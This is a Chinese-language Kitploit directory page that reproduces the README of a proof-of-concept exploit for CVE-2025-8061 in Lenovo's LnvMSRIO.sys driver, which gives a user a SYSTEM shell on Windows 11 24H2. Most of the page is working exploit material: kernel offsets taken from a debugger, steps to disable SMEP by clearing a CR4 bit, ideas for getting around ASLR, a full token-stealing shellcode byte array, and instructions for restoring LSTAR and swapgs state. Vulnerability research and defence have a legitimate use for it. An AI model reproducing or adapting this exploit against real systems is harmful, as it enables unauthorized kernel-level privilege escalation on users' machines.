Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Lenovo-CVE-2025-8061 — 针对 LnvMSRIO.sys 驱动弹出系统 shell 的 PoC | Kitploit
工具/GitHubGitHub/symeonp/lenovo-cve-2025-8061
权限提升漏洞分析漏洞利用ShellcodePayload 开发二进制利用
GitHubsymeonp/lenovo-cve-2025-8061

Lenovo-CVE-2025-8061

针对 LnvMSRIO.sys 驱动弹出系统 shell 的 PoC

查看仓库
12515511个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

系统 Shell。

Lenovo-CVE-2025-8061

针对 LnvMSRIO.sys(3.1.0.36)驱动程序弹出系统 Shell 的 PoC。 所有功劳归于原作者 来自 Quarkslab 的 Luis Casvella。 此 PoC 适用于最新的 Windows 11 版本 24H2(需禁用 KVAShadowing 和内核隔离!)

[!NOTE] 此项目使用最新的 Visual Studio 22 编译。

利用时的实用说明

[!CAUTION] 此漏洞利用的偏移量针对以下 Windows 版本硬编码:Edition build lab: 26100.1.amd64fre.ge_release.240331-1435。 因此,你必须修改/调试你的系统,因为这些偏移量与我在此使用的会有所不同。

KiSystemCall64 的偏移量显然与作者的不同:

#define FUNCTION_OFFSET__KISYSTEMCALL64 0x6b2b40 // nt!KiSystemCall64 offset

root@kitploit:~
0: kd> rdmsr c0000082
msr[c0000082] = fffff801`e76b2b40
0: kd> ? fffff801`e76b2b40 - nt
Evaluate expression: 7023424 = 00000000`006b2b40

禁用 SMEP

我系统中 cr4 寄存器的当前值为 0x00350EF8 因此,要禁用 SMEP,你需要将第 20 位清零:

root@kitploit:~
0x350ef8 = 0011 0101 0000 1110 1111 1000
Bit 20 (SMEP) = 1 (enabled)

所以,要得出正确的值: 0x350ef8 & ~0x100000 = 0x250ef8

验证你的系统的 CR4 首先检查你的系统应具备的 CR4 值:

root@kitploit:~
? cr4 & 0x100000   ; Check if bit 20 is set

在返回用户模式的 shellcode 部分,确保将其恢复为原始值,这一点非常重要!

ASLR 绕过。

使用另一台机器:

root@kitploit:~
6: kd> r cr4
cr4=0000000000370678
6: kd> rdmsr C0000082
msr[c0000082] = fffff803`88d7a200
6: kd> u fffff803`88d7a200
nt!KiSystemCall64Shadow:
fffff803`88d7a200 0f01f8          swapgs
fffff803`88d7a203 654889242510b00000 mov   qword ptr gs:[0B010h],rsp
fffff803`88d7a20c 65488b242500b00000 mov   rsp,qword ptr gs:[0B000h]
--snip--
6: kd> ? fffff803`88d7a200 - nt
Evaluate expression: 12034560 = 00000000`00b7a200

如你所见,这些值都不相同,严格来说这里并没有真正的 ASLR 绕过(唉).. 可研究的技术:

  1. 特征码扫描 一旦你从 LSTAR 获得 KiSystemCall64Shadow 地址,就可以向前或向后扫描在各版本间保持稳定的已知字节模式。例如:
root@kitploit:~
// KiSystemCall64Shadow always starts with: swapgs (0f 01 f8)
// Verify you have the right address
if (memcmp(leaked_address, "\x0f\x01\xf8", 3) != 0) {
    // Invalid - adjust offset
}

// Then scan for other gadgets relative to this known point
// For example, find "pop rcx; ret" pattern: 59 c3
  1. 使用函数之间已知的偏移量 内核函数之间某些偏移量更为稳定。一旦你获得了 KiSystemCall64Shadow:
root@kitploit:~
// KiSystemCall64 is usually nearby (a few KB away)
// Scan the region for the standard KiSystemCall64 prologue
// Search for: 0f 01 f8 65 48 89 24 25 (swapgs + mov gs:[...], rsp)

令牌窃取 shellcode。

由于我使用的又是不同版本,我不得不对该 shellcode 稍作修改:

root@kitploit:~
    unsigned char tokenSteal[] = {
        0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00,  // mov rax, gs:[0x188]
        0x48, 0x8B, 0x80, 0x20, 0x02, 0x00, 0x00,              // mov rax, [rax+0x220] <- Changed from 0xb8
        0x49, 0x89, 0xC0,                                       // mov r8, rax
        0x4D, 0x8B, 0x80, 0xD8, 0x01, 0x00, 0x00,              // mov r8, [r8+0x1d8]
        0x49, 0x81, 0xE8, 0xD8, 0x01, 0x00, 0x00,              // sub r8, 0x1d8
        0x4D, 0x8B, 0x88, 0xD0, 0x01, 0x00, 0x00,              // mov r9, [r8+0x1d0]
        0x49, 0x83, 0xF9, 0x04,                                 // cmp r9, 4
        0x75, 0xE5,                                             // jne (loop back)
        0x49, 0x8B, 0x88, 0x48, 0x02, 0x00, 0x00,              // mov rcx, [r8+0x248]
        0x80, 0xE1, 0xF0,                                       // and cl, 0xf0
        0x48, 0x89, 0x88, 0x48, 0x02, 0x00, 0x00               // mov [rax+0x248], rcx
    };

对于这些,你需要检查以下结构并做出相应调整:

root@kitploit:~
0: kd> dt nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 GdtBase          : Ptr64 _KGDTENTRY64
   +0x008 TssBase          : Ptr64 _KTSS64
   +0x010 UserRsp          : Uint8B
   +0x018 Self             : Ptr64 _KPCR
   +0x020 CurrentPrcb      : Ptr64 _KPRCB
   +0x028 LockArray        : Ptr64 _KSPIN_LOCK_QUEUE
   +0x030 Used_Self        : Ptr64 Void
   +0x038 IdtBase          : Ptr64 _KIDTENTRY64
   +0x040 Unused           : [2] Uint8B
   +0x050 Irql             : UChar
   +0x051 SecondLevelCacheAssociativity : UChar
   +0x052 ObsoleteNumber   : UChar
   +0x053 Fill0            : UChar
   +0x054 Unused0          : [3] Uint4B
   +0x060 MajorVersion     : Uint2B
   +0x062 MinorVersion     : Uint2B
   +0x064 StallScaleFactor : Uint4B
   +0x068 Unused1          : [3] Ptr64 Void
   +0x080 KernelReserved   : [15] Uint4B
   +0x0bc SecondLevelCacheSize : Uint4B
   +0x0c0 HalReserved      : [16] Uint4B
   +0x100 Unused2          : Uint4B
   +0x108 KdVersionBlock   : Ptr64 Void
   +0x110 Unused3          : Ptr64 Void
   +0x118 PcrAlign1        : [24] Uint4B
   +0x180 Prcb             : _KPRCB
0: kd> dt nt!_EPROCESS ActiveProcessLinks
   +0x1d8 ActiveProcessLinks : _LIST_ENTRY
0: kd> dt nt!_EPROCESS UniqueProcessId 
   +0x1d0 UniqueProcessId : Ptr64 Void
0: kd> dt nt!_EPROCESS Token
   +0x248 Token : _EX_FAST_REF
0: kd> dt nt!_KTHREAD Process
   +0x220 Process : Ptr64 _KPROCESS
0: kd> dt nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 GdtBase          : Ptr64 _KGDTENTRY64
   +0x008 TssBase          : Ptr64 _KTSS64
   +0x010 UserRsp          : Uint8B
   +0x018 Self             : Ptr64 _KPCR
   +0x020 CurrentPrcb      : Ptr64 _KPRCB
   +0x028 LockArray        : Ptr64 _KSPIN_LOCK_QUEUE
   +0x030 Used_Self        : Ptr64 Void
   +0x038 IdtBase          : Ptr64 _KIDTENTRY64
   +0x040 Unused           : [2] Uint8B
   +0x050 Irql             : UChar
   +0x051 SecondLevelCacheAssociativity : UChar
   +0x052 ObsoleteNumber   : UChar
   +0x053 Fill0            : UChar
   +0x054 Unused0          : [3] Uint4B
   +0x060 MajorVersion     : Uint2B
   +0x062 MinorVersion     : Uint2B
   +0x064 StallScaleFactor : Uint4B
   +0x068 Unused1          : [3] Ptr64 Void
   +0x080 KernelReserved   : [15] Uint4B
   +0x0bc SecondLevelCacheSize : Uint4B
   +0x0c0 HalReserved      : [16] Uint4B
   +0x100 Unused2          : Uint4B
   +0x108 KdVersionBlock   : Ptr64 Void
   +0x110 Unused3          : Ptr64 Void
   +0x118 PcrAlign1        : [24] Uint4B
   +0x180 Prcb             : _KPRCB
0: kd> dt nt!_KPRCB CurrentThread
   +0x008 CurrentThread : Ptr64 _KTHREAD

swapgs 系统调用

在执行 swapgs 之前,让 rcx 指回主流程以便执行能够继续,这一点非常重要。 如果不这样做,你的虚拟机将会卡死!

执行 swapgs 指令。

rdmsr c0000082 地址

请务必也将此值恢复为原始值,否则虚拟机将再次卡死 :)

TODO

  • 找到更通用的方法,利用 MSR LSTAR 任意读取来获取 gadgets!
  • 根据推特上的评论,研究如何使用 low stub 方法读取 CR3 寄存器,然后我们就可以将 VA 转换为 PA。
下载工具